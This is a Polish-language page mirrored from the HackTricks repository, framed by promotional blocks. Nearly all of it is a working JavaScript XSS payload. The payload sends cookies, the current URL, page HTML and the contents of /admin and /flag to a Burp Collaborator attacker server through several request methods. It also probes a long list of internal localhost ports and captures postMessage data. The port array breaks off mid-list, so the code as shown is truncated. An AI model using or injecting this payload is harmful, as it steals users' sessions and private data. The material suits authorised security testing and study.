mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-12 14:22:56 +00:00
133 lines
7.5 KiB
Markdown
133 lines
7.5 KiB
Markdown
<details>
|
|
|
|
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Inne sposoby wsparcia HackTricks:
|
|
|
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
|
|
|
</details>
|
|
```javascript
|
|
// SELECT HERE THE EXFILTRATION MODE (more than 1 can be selected)
|
|
// If any GET method is selected (like location or RQ_GET), it's recommended to exfiltrate each info 1 by 1
|
|
var ATTACKER_SERVER = "https://weecosb5a2k7jc0cwlyksg9qzh57tw.burpcollaborator.net"
|
|
var EXFIL_BY_IMG = false
|
|
var EXFIL_BY_RQ_GET = false
|
|
var EXFIL_BY_RQ_POST = true
|
|
var EXFIL_BY_FETCH_GET = false
|
|
var EXFIL_BY_FETCH_POST = false
|
|
var EXFIL_BY_NAV = false
|
|
|
|
var EXFIL_BY_LOC = false
|
|
var ALL_INFO = "" // Only used by Location exfiltration
|
|
|
|
|
|
// Function to make the data possible to transmit via either GET or POST
|
|
function encode(text){
|
|
return encodeURI(btoa(text));
|
|
}
|
|
|
|
// Functions to exfiltrate the information
|
|
function exfil_info(info_name, text, is_final=false){
|
|
if (EXFIL_BY_IMG) exfil_by_img(info_name, text);
|
|
if (EXFIL_BY_RQ_GET) exfil_by_rq_get(info_name, text);
|
|
if (EXFIL_BY_RQ_POST) exfil_by_rq_post(info_name, text);
|
|
if (EXFIL_BY_FETCH_GET) exfil_by_fetch_get(info_name, text);
|
|
if (EXFIL_BY_FETCH_POST) exfil_by_fetch_post(info_name, text);
|
|
if (EXFIL_BY_NAV) exfil_by_nav(info_name, text);
|
|
if (EXFIL_BY_LOC){
|
|
if (is_final) exfil_by_loc(info_name, text);
|
|
else ALL_INFO += "\n\n" + info_name + "=" + text;
|
|
}
|
|
}
|
|
|
|
function exfil_by_img(info_name, text){
|
|
new Image().src = ATTACKER_SERVER + "/exfil_by_img/" + info_name + "?" + info_name + "=" + text
|
|
}
|
|
|
|
function exfil_by_rq_get(info_name, text){
|
|
var xhttp = new XMLHttpRequest();
|
|
xhttp.open("GET", ATTACKER_SERVER + "/exfil_by_rq_get/" + info_name + "?" + info_name + "=" + text, true);
|
|
xhttp.send();
|
|
}
|
|
|
|
function exfil_by_rq_post(info_name, text){
|
|
var xhttp = new XMLHttpRequest();
|
|
xhttp.open("POST", ATTACKER_SERVER + "/exfil_by_rq_post/" + info_name, true);
|
|
xhttp.send(text);
|
|
}
|
|
|
|
function exfil_by_fetch_get(info_name, text){
|
|
fetch(ATTACKER_SERVER + "/exfil_by_fetch_get/" + info_name + "?" + info_name + "=" + text, {method: 'GET', mode: 'no-cors'});
|
|
}
|
|
|
|
function exfil_by_fetch_post(info_name, text){
|
|
fetch(ATTACKER_SERVER + "/exfil_by_fetch_post/" + info_name, {method: 'POST', mode: 'no-cors', body: text});
|
|
}
|
|
|
|
function exfil_by_nav(info_name, text){
|
|
navigator.sendBeacon(ATTACKER_SERVER + "/exfil_by_nav/" + info_name, text)
|
|
}
|
|
|
|
function exfil_by_loc(info_name, text){
|
|
document.location = ATTACKER_SERVER + "/exfil_by_loc/?a=" + encode(ALL_INFO);
|
|
}
|
|
|
|
|
|
// Functions to get the data to exfiltrate
|
|
function exfil_page_content(url){
|
|
var xhr = new XMLHttpRequest();
|
|
xhr.onreadystatechange = function() {
|
|
if (xhr.readyState == XMLHttpRequest.DONE) {
|
|
exfil_info(url, encode(xhr.responseText));
|
|
}
|
|
}
|
|
xhr.open('GET', url, true);
|
|
xhr.send(null);
|
|
}
|
|
|
|
function exfil_internal_port(port){
|
|
fetch("http://127.0.0.1:" + port + "/", { mode: "no-cors" }).then(() => {
|
|
exfil_info("internal_port", encode(port));
|
|
});
|
|
}
|
|
|
|
|
|
// Info to exfiltrate
|
|
exfil_info("cookies", encode(document.cookie));
|
|
exfil_info("current_url", encode(document.URL));
|
|
exfil_info("current_content", encode(document.documentElement.innerHTML));
|
|
exfil_page_content("/");
|
|
exfil_page_content("/admin"); // If 404 nothing will be sent
|
|
exfil_page_content("/flag");
|
|
exfil_page_content("/flag.txt");
|
|
top_1000 = [1,3,4,6,7,9,13,17,19,20,21,22,23,24,25,26,30,32,33,37,42,43,49,53,70,79,80,81,82,83,84,85,88,89,90,99,100,106,109,110,111,113,119,125,135,139,143,144,146,161,163,179,199,211,212,222,254,255,256,259,264,280,301,306,311,340,366,389,406,407,416,417,425,427,443,444,445,458,464,465,481,497,500,512,513,514,515,524,541,543,544,545,548,554,555,563,587,593,616,617,625,631,636,646,648,666,667,668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800,801,808,843,873,880,888,898,900,901,902,903,911,912,981,987,990,992,993,995,999,1000,1001,1002,1007,1009,1010,1011,1021,1022,1023,1024,1025,1026,1027,1028,1029,1030,1031,1032,1033,1034,1035,1036,1037,1038,1039,1040,1041,1042,1043,1044,1045,1046,1047,1048,1049,1050,1051,1052,1053,1054,1055,1056,1057,1058,1059,1060,1061,1062,1063,1064,1065,1066,1067,1068,1069,1070,1071,1072,1073,1074,1075,1076,1077,1078,1079,1080,1081,1082,1083,1084,1085,1086,1087,1088,1089,1090,1091,1092,1093,1094,1095,1096,1097,1098,1099,1100,1102,1104,1105,1106,1107,1108,1110,1111,1112,1113,1114,1117,1119,1121,1122,1123,1124,1126,1130,1131,1132,1137,1138,1141,1145,1147,1148,1149,1151,1152,1154,1163,1164,1165,1166,1169,1174,1175,1183,1185,1186,1187,1192,1198,1199,1201,1213,1216,1217,1218,1233,1234,1236,1244,1247,1248,1259,1271,1272,1277,1287,1296,1300,1301,1309,1310,1311,1322,1328,1334,1352,1417,1433,1434,1443,1455,1461,1494,1500,1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687,1688,1700,1717,1718,1719,1720,1721,1723,1755,1761,1782,1783,1801,1805,1812,1839,1840,1862,1863,1864,1875,1900,1914,1935,1947,1971,1972,1974,1984,1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2013,2020,2021,2022,2030,2033,2034,2035,2038,2040,2041,2042,2043,2045,2046,2047,2048,2049,2065,2068,2099,2100,2103,2105,2106,2107,2111,2119,2121,2126,2135,2144,2160,2161,2170,2179,2190,2191,
|
|
```javascript
|
|
top_1000.forEach(port => exfil_internal_port(port));
|
|
|
|
if (EXFIL_BY_LOC){
|
|
setTimeout(exfil_info("zakończ", "zakończ", true), 5000) // eksfiltruj według lokalizacji po 5 sekundach
|
|
}
|
|
|
|
// Podsłuchaj informacje
|
|
window.onmessage = function(e){
|
|
exfil_info("onmessage", encode(e.data))
|
|
}
|
|
```
|
|
<details>
|
|
|
|
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Inne sposoby wsparcia HackTricks:
|
|
|
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
|
|
|
</details>
|